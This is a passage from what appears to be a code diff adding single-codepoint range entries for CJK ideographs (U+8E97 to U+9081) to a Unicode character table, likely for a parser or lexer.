+ ["\u8E97", "\u8E97"], /* CJK Ideograph */
+ ["\u8E98", "\u8E98"], /* CJK Ideograph */
+ ["\u8E99", "\u8E99"], /* CJK Ideograph */
+ ["\u8E9A", "\u8E9A"], /* CJK Ideograph */
+ ["\u8E9B", "\u8E9B"], /* CJK Ideograph */
+ ["\u8E9C", "\u8E9C"], /* CJK Ideograph */
+ ["\u8E9D", "\u8E9D"], /* CJK Ideograph */
+ ["\u8E9E", "\u8E9E"], /* CJK Ideograph */
+ ["\u8E9F", "\u8E9F"], /* CJK Ideograph */
+ ["\u8EA0", "\u8EA0"], /* CJK Ideograph */
+ ["\u8EA1", "\u8EA1"], /* CJK Ideograph */
+ ["\u8EA2", "\u8EA2"], /* CJK Ideograph */
+ ["\u8EA3", "\u8EA3"], /* CJK Ideograph */
+ ["\u8EA4", "\u8EA4"], /* CJK Ideograph */
+ ["\u8EA5", "\u8EA5"], /* CJK Ideograph */
+ ["\u8EA6", "\u8EA6"], /* CJK Ideograph */
+ ["\u8EA7", "\u8EA7"], /* CJK Ideograph */
+ ["\u8EA8", "\u8EA8"], /* CJK Ideograph */
+ ["\u8EA9", "\u8EA9"], /* CJK Ideograph */
+ ["\u8EAA", "\u8EAA"], /* CJK Ideograph */
+ ["\u8EAB", "\u8EAB"], /* CJK Ideograph */
+ ["\u8EAC", "\u8EAC"], /* CJK Ideograph */
+ ["\u8EAD", "\u8EAD"], /* CJK Ideograph */
+ ["\u8EAE", "\u8EAE"], /* CJK Ideograph */
+ ["\u8EAF", "\u8EAF"], /* CJK Ideograph */
+ ["\u8EB0", "\u8EB0"], /* CJK Ideograph */
+ ["\u8EB1", "\u8EB1"], /* CJK Ideograph */
+ ["\u8EB2", "\u8EB2"], /* CJK Ideograph */
+ ["\u8EB3", "\u8EB3"], /* CJK Ideograph */
+ ["\u8EB4", "\u8EB4"], /* CJK Ideograph */
+ ["\u8EB5", "\u8EB5"], /* CJK Ideograph */
+ ["\u8EB6", "\u8EB6"], /* CJK Ideograph */
+ ["\u8EB7", "\u8EB7"], /* CJK Ideograph */
+ ["\u8EB8", "\u8EB8"], /* CJK Ideograph */
+ ["\u8EB9", "\u8EB9"], /* CJK Ideograph */
+ ["\u8EBA", "\u8EBA"], /* CJK Ideograph */
+ ["\u8EBB", "\u8EBB"], /* CJK Ideograph */
+ ["\u8EBC", "\u8EBC"], /* CJK Ideograph */
+ ["\u8EBD", "\u8EBD"], /* CJK Ideograph */
+ ["\u8EBE", "\u8EBE"], /* CJK Ideograph */
+ ["\u8EBF", "\u8EBF"], /* CJK Ideograph */
+ ["\u8EC0", "\u8EC0"], /* CJK Ideograph */
+ ["\u8EC1", "\u8EC1"], /* CJK Ideograph */
+ ["\u8EC2", "\u8EC2"], /* CJK Ideograph */
+ ["\u8EC3", "\u8EC3"], /* CJK Ideograph */
+ ["\u8EC4", "\u8EC4"], /* CJK Ideograph */
+ ["\u8EC5", "\u8EC5"], /* CJK Ideograph */
+ ["\u8EC6", "\u8EC6"], /* CJK Ideograph */
+ ["\u8EC7", "\u8EC7"], /* CJK Ideograph */
+ ["\u8EC8", "\u8EC8"], /* CJK Ideograph */
+ ["\u8EC9", "\u8EC9"], /* CJK Ideograph */
+ ["\u8ECA", "\u8ECA"], /* CJK Ideograph */
+ ["\u8ECB", "\u8ECB"], /* CJK Ideograph */
+ ["\u8ECC", "\u8ECC"], /* CJK Ideograph */
+ ["\u8ECD", "\u8ECD"], /* CJK Ideograph */
+ ["\u8ECE", "\u8ECE"], /* CJK Ideograph */
+ ["\u8ECF", "\u8ECF"], /* CJK Ideograph */
+ ["\u8ED0", "\u8ED0"], /* CJK Ideograph */
+ ["\u8ED1", "\u8ED1"], /* CJK Ideograph */
+ ["\u8ED2", "\u8ED2"], /* CJK Ideograph */
+ ["\u8ED3", "\u8ED3"], /* CJK Ideograph */
+ ["\u8ED4", "\u8ED4"], /* CJK Ideograph */
+ ["\u8ED5", "\u8ED5"], /* CJK Ideograph */
+ ["\u8ED6", "\u8ED6"], /* CJK Ideograph */
+ ["\u8ED7", "\u8ED7"], /* CJK Ideograph */
+ ["\u8ED8", "\u8ED8"], /* CJK Ideograph */
+ ["\u8ED9", "\u8ED9"], /* CJK Ideograph */
+ ["\u8EDA", "\u8EDA"], /* CJK Ideograph */
+ ["\u8EDB", "\u8EDB"], /* CJK Ideograph */
+ ["\u8EDC", "\u8EDC"], /* CJK Ideograph */
+ ["\u8EDD", "\u8EDD"], /* CJK Ideograph */
+ ["\u8EDE", "\u8EDE"], /* CJK Ideograph */
+ ["\u8EDF", "\u8EDF"], /* CJK Ideograph */
+ ["\u8EE0", "\u8EE0"], /* CJK Ideograph */
+ ["\u8EE1", "\u8EE1"], /* CJK Ideograph */
+ ["\u8EE2", "\u8EE2"], /* CJK Ideograph */
+ ["\u8EE3", "\u8EE3"], /* CJK Ideograph */
+ ["\u8EE4", "\u8EE4"], /* CJK Ideograph */
+ ["\u8EE5", "\u8EE5"], /* CJK Ideograph */
+ ["\u8EE6", "\u8EE6"], /* CJK Ideograph */
+ ["\u8EE7", "\u8EE7"], /* CJK Ideograph */
+ ["\u8EE8", "\u8EE8"], /* CJK Ideograph */
+ ["\u8EE9", "\u8EE9"], /* CJK Ideograph */
+ ["\u8EEA", "\u8EEA"], /* CJK Ideograph */
+ ["\u8EEB", "\u8EEB"], /* CJK Ideograph */
+ ["\u8EEC", "\u8EEC"], /* CJK Ideograph */
+ ["\u8EED", "\u8EED"], /* CJK Ideograph */
+ ["\u8EEE", "\u8EEE"], /* CJK Ideograph */
+ ["\u8EEF", "\u8EEF"], /* CJK Ideograph */
+ ["\u8EF0", "\u8EF0"], /* CJK Ideograph */
+ ["\u8EF1", "\u8EF1"], /* CJK Ideograph */
+ ["\u8EF2", "\u8EF2"], /* CJK Ideograph */
+ ["\u8EF3", "\u8EF3"], /* CJK Ideograph */
+ ["\u8EF4", "\u8EF4"], /* CJK Ideograph */
+ ["\u8EF5", "\u8EF5"], /* CJK Ideograph */
+ ["\u8EF6", "\u8EF6"], /* CJK Ideograph */
+ ["\u8EF7", "\u8EF7"], /* CJK Ideograph */
+ ["\u8EF8", "\u8EF8"], /* CJK Ideograph */
+ ["\u8EF9", "\u8EF9"], /* CJK Ideograph */
+ ["\u8EFA", "\u8EFA"], /* CJK Ideograph */
+ ["\u8EFB", "\u8EFB"], /* CJK Ideograph */
+ ["\u8EFC", "\u8EFC"], /* CJK Ideograph */
+ ["\u8EFD", "\u8EFD"], /* CJK Ideograph */
+ ["\u8EFE", "\u8EFE"], /* CJK Ideograph */
+ ["\u8EFF", "\u8EFF"], /* CJK Ideograph */
+ ["\u8F00", "\u8F00"], /* CJK Ideograph */
+ ["\u8F01", "\u8F01"], /* CJK Ideograph */
+ ["\u8F02", "\u8F02"], /* CJK Ideograph */
+ ["\u8F03", "\u8F03"], /* CJK Ideograph */
+ ["\u8F04", "\u8F04"], /* CJK Ideograph */
+ ["\u8F05", "\u8F05"], /* CJK Ideograph */
+ ["\u8F06", "\u8F06"], /* CJK Ideograph */
+ ["\u8F07", "\u8F07"], /* CJK Ideograph */
+ ["\u8F08", "\u8F08"], /* CJK Ideograph */
+ ["\u8F09", "\u8F09"], /* CJK Ideograph */
+ ["\u8F0A", "\u8F0A"], /* CJK Ideograph */
+ ["\u8F0B", "\u8F0B"], /* CJK Ideograph */
+ ["\u8F0C", "\u8F0C"], /* CJK Ideograph */
+ ["\u8F0D", "\u8F0D"], /* CJK Ideograph */
+ ["\u8F0E", "\u8F0E"], /* CJK Ideograph */
+ ["\u8F0F", "\u8F0F"], /* CJK Ideograph */
+ ["\u8F10", "\u8F10"], /* CJK Ideograph */
+ ["\u8F11", "\u8F11"], /* CJK Ideograph */
+ ["\u8F12", "\u8F12"], /* CJK Ideograph */
+ ["\u8F13", "\u8F13"], /* CJK Ideograph */
+ ["\u8F14", "\u8F14"], /* CJK Ideograph */
+ ["\u8F15", "\u8F15"], /* CJK Ideograph */
+ ["\u8F16", "\u8F16"], /* CJK Ideograph */
+ ["\u8F17", "\u8F17"], /* CJK Ideograph */
+ ["\u8F18", "\u8F18"], /* CJK Ideograph */
+ ["\u8F19", "\u8F19"], /* CJK Ideograph */
+ ["\u8F1A", "\u8F1A"], /* CJK Ideograph */
+ ["\u8F1B", "\u8F1B"], /* CJK Ideograph */
+ ["\u8F1C", "\u8F1C"], /* CJK Ideograph */
+ ["\u8F1D", "\u8F1D"], /* CJK Ideograph */
+ ["\u8F1E", "\u8F1E"], /* CJK Ideograph */
+ ["\u8F1F", "\u8F1F"], /* CJK Ideograph */
+ ["\u8F20", "\u8F20"], /* CJK Ideograph */
+ ["\u8F21", "\u8F21"], /* CJK Ideograph */
+ ["\u8F22", "\u8F22"], /* CJK Ideograph */
+ ["\u8F23", "\u8F23"], /* CJK Ideograph */
+ ["\u8F24", "\u8F24"], /* CJK Ideograph */
+ ["\u8F25", "\u8F25"], /* CJK Ideograph */
+ ["\u8F26", "\u8F26"], /* CJK Ideograph */
+ ["\u8F27", "\u8F27"], /* CJK Ideograph */
+ ["\u8F28", "\u8F28"], /* CJK Ideograph */
+ ["\u8F29", "\u8F29"], /* CJK Ideograph */
+ ["\u8F2A", "\u8F2A"], /* CJK Ideograph */
+ ["\u8F2B", "\u8F2B"], /* CJK Ideograph */
+ ["\u8F2C", "\u8F2C"], /* CJK Ideograph */
+ ["\u8F2D", "\u8F2D"], /* CJK Ideograph */
+ ["\u8F2E", "\u8F2E"], /* CJK Ideograph */
+ ["\u8F2F", "\u8F2F"], /* CJK Ideograph */
+ ["\u8F30", "\u8F30"], /* CJK Ideograph */
+ ["\u8F31", "\u8F31"], /* CJK Ideograph */
+ ["\u8F32", "\u8F32"], /* CJK Ideograph */
+ ["\u8F33", "\u8F33"], /* CJK Ideograph */
+ ["\u8F34", "\u8F34"], /* CJK Ideograph */
+ ["\u8F35", "\u8F35"], /* CJK Ideograph */
+ ["\u8F36", "\u8F36"], /* CJK Ideograph */
+ ["\u8F37", "\u8F37"], /* CJK Ideograph */
+ ["\u8F38", "\u8F38"], /* CJK Ideograph */
+ ["\u8F39", "\u8F39"], /* CJK Ideograph */
+ ["\u8F3A", "\u8F3A"], /* CJK Ideograph */
+ ["\u8F3B", "\u8F3B"], /* CJK Ideograph */
+ ["\u8F3C", "\u8F3C"], /* CJK Ideograph */
+ ["\u8F3D", "\u8F3D"], /* CJK Ideograph */
+ ["\u8F3E", "\u8F3E"], /* CJK Ideograph */
+ ["\u8F3F", "\u8F3F"], /* CJK Ideograph */
+ ["\u8F40", "\u8F40"], /* CJK Ideograph */
+ ["\u8F41", "\u8F41"], /* CJK Ideograph */
+ ["\u8F42", "\u8F42"], /* CJK Ideograph */
+ ["\u8F43", "\u8F43"], /* CJK Ideograph */
+ ["\u8F44", "\u8F44"], /* CJK Ideograph */
+ ["\u8F45", "\u8F45"], /* CJK Ideograph */
+ ["\u8F46", "\u8F46"], /* CJK Ideograph */
+ ["\u8F47", "\u8F47"], /* CJK Ideograph */
+ ["\u8F48", "\u8F48"], /* CJK Ideograph */
+ ["\u8F49", "\u8F49"], /* CJK Ideograph */
+ ["\u8F4A", "\u8F4A"], /* CJK Ideograph */
+ ["\u8F4B", "\u8F4B"], /* CJK Ideograph */
+ ["\u8F4C", "\u8F4C"], /* CJK Ideograph */
+ ["\u8F4D", "\u8F4D"], /* CJK Ideograph */
+ ["\u8F4E", "\u8F4E"], /* CJK Ideograph */
+ ["\u8F4F", "\u8F4F"], /* CJK Ideograph */
+ ["\u8F50", "\u8F50"], /* CJK Ideograph */
+ ["\u8F51", "\u8F51"], /* CJK Ideograph */
+ ["\u8F52", "\u8F52"], /* CJK Ideograph */
+ ["\u8F53", "\u8F53"], /* CJK Ideograph */
+ ["\u8F54", "\u8F54"], /* CJK Ideograph */
+ ["\u8F55", "\u8F55"], /* CJK Ideograph */
+ ["\u8F56", "\u8F56"], /* CJK Ideograph */
+ ["\u8F57", "\u8F57"], /* CJK Ideograph */
+ ["\u8F58", "\u8F58"], /* CJK Ideograph */
+ ["\u8F59", "\u8F59"], /* CJK Ideograph */
+ ["\u8F5A", "\u8F5A"], /* CJK Ideograph */
+ ["\u8F5B", "\u8F5B"], /* CJK Ideograph */
+ ["\u8F5C", "\u8F5C"], /* CJK Ideograph */
+ ["\u8F5D", "\u8F5D"], /* CJK Ideograph */
+ ["\u8F5E", "\u8F5E"], /* CJK Ideograph */
+ ["\u8F5F", "\u8F5F"], /* CJK Ideograph */
+ ["\u8F60", "\u8F60"], /* CJK Ideograph */
+ ["\u8F61", "\u8F61"], /* CJK Ideograph */
+ ["\u8F62", "\u8F62"], /* CJK Ideograph */
+ ["\u8F63", "\u8F63"], /* CJK Ideograph */
+ ["\u8F64", "\u8F64"], /* CJK Ideograph */
+ ["\u8F65", "\u8F65"], /* CJK Ideograph */
+ ["\u8F66", "\u8F66"], /* CJK Ideograph */
+ ["\u8F67", "\u8F67"], /* CJK Ideograph */
+ ["\u8F68", "\u8F68"], /* CJK Ideograph */
+ ["\u8F69", "\u8F69"], /* CJK Ideograph */
+ ["\u8F6A", "\u8F6A"], /* CJK Ideograph */
+ ["\u8F6B", "\u8F6B"], /* CJK Ideograph */
+ ["\u8F6C", "\u8F6C"], /* CJK Ideograph */
+ ["\u8F6D", "\u8F6D"], /* CJK Ideograph */
+ ["\u8F6E", "\u8F6E"], /* CJK Ideograph */
+ ["\u8F6F", "\u8F6F"], /* CJK Ideograph */
+ ["\u8F70", "\u8F70"], /* CJK Ideograph */
+ ["\u8F71", "\u8F71"], /* CJK Ideograph */
+ ["\u8F72", "\u8F72"], /* CJK Ideograph */
+ ["\u8F73", "\u8F73"], /* CJK Ideograph */
+ ["\u8F74", "\u8F74"], /* CJK Ideograph */
+ ["\u8F75", "\u8F75"], /* CJK Ideograph */
+ ["\u8F76", "\u8F76"], /* CJK Ideograph */
+ ["\u8F77", "\u8F77"], /* CJK Ideograph */
+ ["\u8F78", "\u8F78"], /* CJK Ideograph */
+ ["\u8F79", "\u8F79"], /* CJK Ideograph */
+ ["\u8F7A", "\u8F7A"], /* CJK Ideograph */
+ ["\u8F7B", "\u8F7B"], /* CJK Ideograph */
+ ["\u8F7C", "\u8F7C"], /* CJK Ideograph */
+ ["\u8F7D", "\u8F7D"], /* CJK Ideograph */
+ ["\u8F7E", "\u8F7E"], /* CJK Ideograph */
+ ["\u8F7F", "\u8F7F"], /* CJK Ideograph */
+ ["\u8F80", "\u8F80"], /* CJK Ideograph */
+ ["\u8F81", "\u8F81"], /* CJK Ideograph */
+ ["\u8F82", "\u8F82"], /* CJK Ideograph */
+ ["\u8F83", "\u8F83"], /* CJK Ideograph */
+ ["\u8F84", "\u8F84"], /* CJK Ideograph */
+ ["\u8F85", "\u8F85"], /* CJK Ideograph */
+ ["\u8F86", "\u8F86"], /* CJK Ideograph */
+ ["\u8F87", "\u8F87"], /* CJK Ideograph */
+ ["\u8F88", "\u8F88"], /* CJK Ideograph */
+ ["\u8F89", "\u8F89"], /* CJK Ideograph */
+ ["\u8F8A", "\u8F8A"], /* CJK Ideograph */
+ ["\u8F8B", "\u8F8B"], /* CJK Ideograph */
+ ["\u8F8C", "\u8F8C"], /* CJK Ideograph */
+ ["\u8F8D", "\u8F8D"], /* CJK Ideograph */
+ ["\u8F8E", "\u8F8E"], /* CJK Ideograph */
+ ["\u8F8F", "\u8F8F"], /* CJK Ideograph */
+ ["\u8F90", "\u8F90"], /* CJK Ideograph */
+ ["\u8F91", "\u8F91"], /* CJK Ideograph */
+ ["\u8F92", "\u8F92"], /* CJK Ideograph */
+ ["\u8F93", "\u8F93"], /* CJK Ideograph */
+ ["\u8F94", "\u8F94"], /* CJK Ideograph */
+ ["\u8F95", "\u8F95"], /* CJK Ideograph */
+ ["\u8F96", "\u8F96"], /* CJK Ideograph */
+ ["\u8F97", "\u8F97"], /* CJK Ideograph */
+ ["\u8F98", "\u8F98"], /* CJK Ideograph */
+ ["\u8F99", "\u8F99"], /* CJK Ideograph */
+ ["\u8F9A", "\u8F9A"], /* CJK Ideograph */
+ ["\u8F9B", "\u8F9B"], /* CJK Ideograph */
+ ["\u8F9C", "\u8F9C"], /* CJK Ideograph */
+ ["\u8F9D", "\u8F9D"], /* CJK Ideograph */
+ ["\u8F9E", "\u8F9E"], /* CJK Ideograph */
+ ["\u8F9F", "\u8F9F"], /* CJK Ideograph */
+ ["\u8FA0", "\u8FA0"], /* CJK Ideograph */
+ ["\u8FA1", "\u8FA1"], /* CJK Ideograph */
+ ["\u8FA2", "\u8FA2"], /* CJK Ideograph */
+ ["\u8FA3", "\u8FA3"], /* CJK Ideograph */
+ ["\u8FA4", "\u8FA4"], /* CJK Ideograph */
+ ["\u8FA5", "\u8FA5"], /* CJK Ideograph */
+ ["\u8FA6", "\u8FA6"], /* CJK Ideograph */
+ ["\u8FA7", "\u8FA7"], /* CJK Ideograph */
+ ["\u8FA8", "\u8FA8"], /* CJK Ideograph */
+ ["\u8FA9", "\u8FA9"], /* CJK Ideograph */
+ ["\u8FAA", "\u8FAA"], /* CJK Ideograph */
+ ["\u8FAB", "\u8FAB"], /* CJK Ideograph */
+ ["\u8FAC", "\u8FAC"], /* CJK Ideograph */
+ ["\u8FAD", "\u8FAD"], /* CJK Ideograph */
+ ["\u8FAE", "\u8FAE"], /* CJK Ideograph */
+ ["\u8FAF", "\u8FAF"], /* CJK Ideograph */
+ ["\u8FB0", "\u8FB0"], /* CJK Ideograph */
+ ["\u8FB1", "\u8FB1"], /* CJK Ideograph */
+ ["\u8FB2", "\u8FB2"], /* CJK Ideograph */
+ ["\u8FB3", "\u8FB3"], /* CJK Ideograph */
+ ["\u8FB4", "\u8FB4"], /* CJK Ideograph */
+ ["\u8FB5", "\u8FB5"], /* CJK Ideograph */
+ ["\u8FB6", "\u8FB6"], /* CJK Ideograph */
+ ["\u8FB7", "\u8FB7"], /* CJK Ideograph */
+ ["\u8FB8", "\u8FB8"], /* CJK Ideograph */
+ ["\u8FB9", "\u8FB9"], /* CJK Ideograph */
+ ["\u8FBA", "\u8FBA"], /* CJK Ideograph */
+ ["\u8FBB", "\u8FBB"], /* CJK Ideograph */
+ ["\u8FBC", "\u8FBC"], /* CJK Ideograph */
+ ["\u8FBD", "\u8FBD"], /* CJK Ideograph */
+ ["\u8FBE", "\u8FBE"], /* CJK Ideograph */
+ ["\u8FBF", "\u8FBF"], /* CJK Ideograph */
+ ["\u8FC0", "\u8FC0"], /* CJK Ideograph */
+ ["\u8FC1", "\u8FC1"], /* CJK Ideograph */
+ ["\u8FC2", "\u8FC2"], /* CJK Ideograph */
+ ["\u8FC3", "\u8FC3"], /* CJK Ideograph */
+ ["\u8FC4", "\u8FC4"], /* CJK Ideograph */
+ ["\u8FC5", "\u8FC5"], /* CJK Ideograph */
+ ["\u8FC6", "\u8FC6"], /* CJK Ideograph */
+ ["\u8FC7", "\u8FC7"], /* CJK Ideograph */
+ ["\u8FC8", "\u8FC8"], /* CJK Ideograph */
+ ["\u8FC9", "\u8FC9"], /* CJK Ideograph */
+ ["\u8FCA", "\u8FCA"], /* CJK Ideograph */
+ ["\u8FCB", "\u8FCB"], /* CJK Ideograph */
+ ["\u8FCC", "\u8FCC"], /* CJK Ideograph */
+ ["\u8FCD", "\u8FCD"], /* CJK Ideograph */
+ ["\u8FCE", "\u8FCE"], /* CJK Ideograph */
+ ["\u8FCF", "\u8FCF"], /* CJK Ideograph */
+ ["\u8FD0", "\u8FD0"], /* CJK Ideograph */
+ ["\u8FD1", "\u8FD1"], /* CJK Ideograph */
+ ["\u8FD2", "\u8FD2"], /* CJK Ideograph */
+ ["\u8FD3", "\u8FD3"], /* CJK Ideograph */
+ ["\u8FD4", "\u8FD4"], /* CJK Ideograph */
+ ["\u8FD5", "\u8FD5"], /* CJK Ideograph */
+ ["\u8FD6", "\u8FD6"], /* CJK Ideograph */
+ ["\u8FD7", "\u8FD7"], /* CJK Ideograph */
+ ["\u8FD8", "\u8FD8"], /* CJK Ideograph */
+ ["\u8FD9", "\u8FD9"], /* CJK Ideograph */
+ ["\u8FDA", "\u8FDA"], /* CJK Ideograph */
+ ["\u8FDB", "\u8FDB"], /* CJK Ideograph */
+ ["\u8FDC", "\u8FDC"], /* CJK Ideograph */
+ ["\u8FDD", "\u8FDD"], /* CJK Ideograph */
+ ["\u8FDE", "\u8FDE"], /* CJK Ideograph */
+ ["\u8FDF", "\u8FDF"], /* CJK Ideograph */
+ ["\u8FE0", "\u8FE0"], /* CJK Ideograph */
+ ["\u8FE1", "\u8FE1"], /* CJK Ideograph */
+ ["\u8FE2", "\u8FE2"], /* CJK Ideograph */
+ ["\u8FE3", "\u8FE3"], /* CJK Ideograph */
+ ["\u8FE4", "\u8FE4"], /* CJK Ideograph */
+ ["\u8FE5", "\u8FE5"], /* CJK Ideograph */
+ ["\u8FE6", "\u8FE6"], /* CJK Ideograph */
+ ["\u8FE7", "\u8FE7"], /* CJK Ideograph */
+ ["\u8FE8", "\u8FE8"], /* CJK Ideograph */
+ ["\u8FE9", "\u8FE9"], /* CJK Ideograph */
+ ["\u8FEA", "\u8FEA"], /* CJK Ideograph */
+ ["\u8FEB", "\u8FEB"], /* CJK Ideograph */
+ ["\u8FEC", "\u8FEC"], /* CJK Ideograph */
+ ["\u8FED", "\u8FED"], /* CJK Ideograph */
+ ["\u8FEE", "\u8FEE"], /* CJK Ideograph */
+ ["\u8FEF", "\u8FEF"], /* CJK Ideograph */
+ ["\u8FF0", "\u8FF0"], /* CJK Ideograph */
+ ["\u8FF1", "\u8FF1"], /* CJK Ideograph */
+ ["\u8FF2", "\u8FF2"], /* CJK Ideograph */
+ ["\u8FF3", "\u8FF3"], /* CJK Ideograph */
+ ["\u8FF4", "\u8FF4"], /* CJK Ideograph */
+ ["\u8FF5", "\u8FF5"], /* CJK Ideograph */
+ ["\u8FF6", "\u8FF6"], /* CJK Ideograph */
+ ["\u8FF7", "\u8FF7"], /* CJK Ideograph */
+ ["\u8FF8", "\u8FF8"], /* CJK Ideograph */
+ ["\u8FF9", "\u8FF9"], /* CJK Ideograph */
+ ["\u8FFA", "\u8FFA"], /* CJK Ideograph */
+ ["\u8FFB", "\u8FFB"], /* CJK Ideograph */
+ ["\u8FFC", "\u8FFC"], /* CJK Ideograph */
+ ["\u8FFD", "\u8FFD"], /* CJK Ideograph */
+ ["\u8FFE", "\u8FFE"], /* CJK Ideograph */
+ ["\u8FFF", "\u8FFF"], /* CJK Ideograph */
+ ["\u9000", "\u9000"], /* CJK Ideograph */
+ ["\u9001", "\u9001"], /* CJK Ideograph */
+ ["\u9002", "\u9002"], /* CJK Ideograph */
+ ["\u9003", "\u9003"], /* CJK Ideograph */
+ ["\u9004", "\u9004"], /* CJK Ideograph */
+ ["\u9005", "\u9005"], /* CJK Ideograph */
+ ["\u9006", "\u9006"], /* CJK Ideograph */
+ ["\u9007", "\u9007"], /* CJK Ideograph */
+ ["\u9008", "\u9008"], /* CJK Ideograph */
+ ["\u9009", "\u9009"], /* CJK Ideograph */
+ ["\u900A", "\u900A"], /* CJK Ideograph */
+ ["\u900B", "\u900B"], /* CJK Ideograph */
+ ["\u900C", "\u900C"], /* CJK Ideograph */
+ ["\u900D", "\u900D"], /* CJK Ideograph */
+ ["\u900E", "\u900E"], /* CJK Ideograph */
+ ["\u900F", "\u900F"], /* CJK Ideograph */
+ ["\u9010", "\u9010"], /* CJK Ideograph */
+ ["\u9011", "\u9011"], /* CJK Ideograph */
+ ["\u9012", "\u9012"], /* CJK Ideograph */
+ ["\u9013", "\u9013"], /* CJK Ideograph */
+ ["\u9014", "\u9014"], /* CJK Ideograph */
+ ["\u9015", "\u9015"], /* CJK Ideograph */
+ ["\u9016", "\u9016"], /* CJK Ideograph */
+ ["\u9017", "\u9017"], /* CJK Ideograph */
+ ["\u9018", "\u9018"], /* CJK Ideograph */
+ ["\u9019", "\u9019"], /* CJK Ideograph */
+ ["\u901A", "\u901A"], /* CJK Ideograph */
+ ["\u901B", "\u901B"], /* CJK Ideograph */
+ ["\u901C", "\u901C"], /* CJK Ideograph */
+ ["\u901D", "\u901D"], /* CJK Ideograph */
+ ["\u901E", "\u901E"], /* CJK Ideograph */
+ ["\u901F", "\u901F"], /* CJK Ideograph */
+ ["\u9020", "\u9020"], /* CJK Ideograph */
+ ["\u9021", "\u9021"], /* CJK Ideograph */
+ ["\u9022", "\u9022"], /* CJK Ideograph */
+ ["\u9023", "\u9023"], /* CJK Ideograph */
+ ["\u9024", "\u9024"], /* CJK Ideograph */
+ ["\u9025", "\u9025"], /* CJK Ideograph */
+ ["\u9026", "\u9026"], /* CJK Ideograph */
+ ["\u9027", "\u9027"], /* CJK Ideograph */
+ ["\u9028", "\u9028"], /* CJK Ideograph */
+ ["\u9029", "\u9029"], /* CJK Ideograph */
+ ["\u902A", "\u902A"], /* CJK Ideograph */
+ ["\u902B", "\u902B"], /* CJK Ideograph */
+ ["\u902C", "\u902C"], /* CJK Ideograph */
+ ["\u902D", "\u902D"], /* CJK Ideograph */
+ ["\u902E", "\u902E"], /* CJK Ideograph */
+ ["\u902F", "\u902F"], /* CJK Ideograph */
+ ["\u9030", "\u9030"], /* CJK Ideograph */
+ ["\u9031", "\u9031"], /* CJK Ideograph */
+ ["\u9032", "\u9032"], /* CJK Ideograph */
+ ["\u9033", "\u9033"], /* CJK Ideograph */
+ ["\u9034", "\u9034"], /* CJK Ideograph */
+ ["\u9035", "\u9035"], /* CJK Ideograph */
+ ["\u9036", "\u9036"], /* CJK Ideograph */
+ ["\u9037", "\u9037"], /* CJK Ideograph */
+ ["\u9038", "\u9038"], /* CJK Ideograph */
+ ["\u9039", "\u9039"], /* CJK Ideograph */
+ ["\u903A", "\u903A"], /* CJK Ideograph */
+ ["\u903B", "\u903B"], /* CJK Ideograph */
+ ["\u903C", "\u903C"], /* CJK Ideograph */
+ ["\u903D", "\u903D"], /* CJK Ideograph */
+ ["\u903E", "\u903E"], /* CJK Ideograph */
+ ["\u903F", "\u903F"], /* CJK Ideograph */
+ ["\u9040", "\u9040"], /* CJK Ideograph */
+ ["\u9041", "\u9041"], /* CJK Ideograph */
+ ["\u9042", "\u9042"], /* CJK Ideograph */
+ ["\u9043", "\u9043"], /* CJK Ideograph */
+ ["\u9044", "\u9044"], /* CJK Ideograph */
+ ["\u9045", "\u9045"], /* CJK Ideograph */
+ ["\u9046", "\u9046"], /* CJK Ideograph */
+ ["\u9047", "\u9047"], /* CJK Ideograph */
+ ["\u9048", "\u9048"], /* CJK Ideograph */
+ ["\u9049", "\u9049"], /* CJK Ideograph */
+ ["\u904A", "\u904A"], /* CJK Ideograph */
+ ["\u904B", "\u904B"], /* CJK Ideograph */
+ ["\u904C", "\u904C"], /* CJK Ideograph */
+ ["\u904D", "\u904D"], /* CJK Ideograph */
+ ["\u904E", "\u904E"], /* CJK Ideograph */
+ ["\u904F", "\u904F"], /* CJK Ideograph */
+ ["\u9050", "\u9050"], /* CJK Ideograph */
+ ["\u9051", "\u9051"], /* CJK Ideograph */
+ ["\u9052", "\u9052"], /* CJK Ideograph */
+ ["\u9053", "\u9053"], /* CJK Ideograph */
+ ["\u9054", "\u9054"], /* CJK Ideograph */
+ ["\u9055", "\u9055"], /* CJK Ideograph */
+ ["\u9056", "\u9056"], /* CJK Ideograph */
+ ["\u9057", "\u9057"], /* CJK Ideograph */
+ ["\u9058", "\u9058"], /* CJK Ideograph */
+ ["\u9059", "\u9059"], /* CJK Ideograph */
+ ["\u905A", "\u905A"], /* CJK Ideograph */
+ ["\u905B", "\u905B"], /* CJK Ideograph */
+ ["\u905C", "\u905C"], /* CJK Ideograph */
+ ["\u905D", "\u905D"], /* CJK Ideograph */
+ ["\u905E", "\u905E"], /* CJK Ideograph */
+ ["\u905F", "\u905F"], /* CJK Ideograph */
+ ["\u9060", "\u9060"], /* CJK Ideograph */
+ ["\u9061", "\u9061"], /* CJK Ideograph */
+ ["\u9062", "\u9062"], /* CJK Ideograph */
+ ["\u9063", "\u9063"], /* CJK Ideograph */
+ ["\u9064", "\u9064"], /* CJK Ideograph */
+ ["\u9065", "\u9065"], /* CJK Ideograph */
+ ["\u9066", "\u9066"], /* CJK Ideograph */
+ ["\u9067", "\u9067"], /* CJK Ideograph */
+ ["\u9068", "\u9068"], /* CJK Ideograph */
+ ["\u9069", "\u9069"], /* CJK Ideograph */
+ ["\u906A", "\u906A"], /* CJK Ideograph */
+ ["\u906B", "\u906B"], /* CJK Ideograph */
+ ["\u906C", "\u906C"], /* CJK Ideograph */
+ ["\u906D", "\u906D"], /* CJK Ideograph */
+ ["\u906E", "\u906E"], /* CJK Ideograph */
+ ["\u906F", "\u906F"], /* CJK Ideograph */
+ ["\u9070", "\u9070"], /* CJK Ideograph */
+ ["\u9071", "\u9071"], /* CJK Ideograph */
+ ["\u9072", "\u9072"], /* CJK Ideograph */
+ ["\u9073", "\u9073"], /* CJK Ideograph */
+ ["\u9074", "\u9074"], /* CJK Ideograph */
+ ["\u9075", "\u9075"], /* CJK Ideograph */
+ ["\u9076", "\u9076"], /* CJK Ideograph */
+ ["\u9077", "\u9077"], /* CJK Ideograph */
+ ["\u9078", "\u9078"], /* CJK Ideograph */
+ ["\u9079", "\u9079"], /* CJK Ideograph */
+ ["\u907A", "\u907A"], /* CJK Ideograph */
+ ["\u907B", "\u907B"], /* CJK Ideograph */
+ ["\u907C", "\u907C"], /* CJK Ideograph */
+ ["\u907D", "\u907D"], /* CJK Ideograph */
+ ["\u907E", "\u907E"], /* CJK Ideograph */
+ ["\u907F", "\u907F"], /* CJK Ideograph */
+ ["\u9080", "\u9080"], /* CJK Ideograph */
+ ["\u9081", "\u9081"], /* CJK Ideograph */
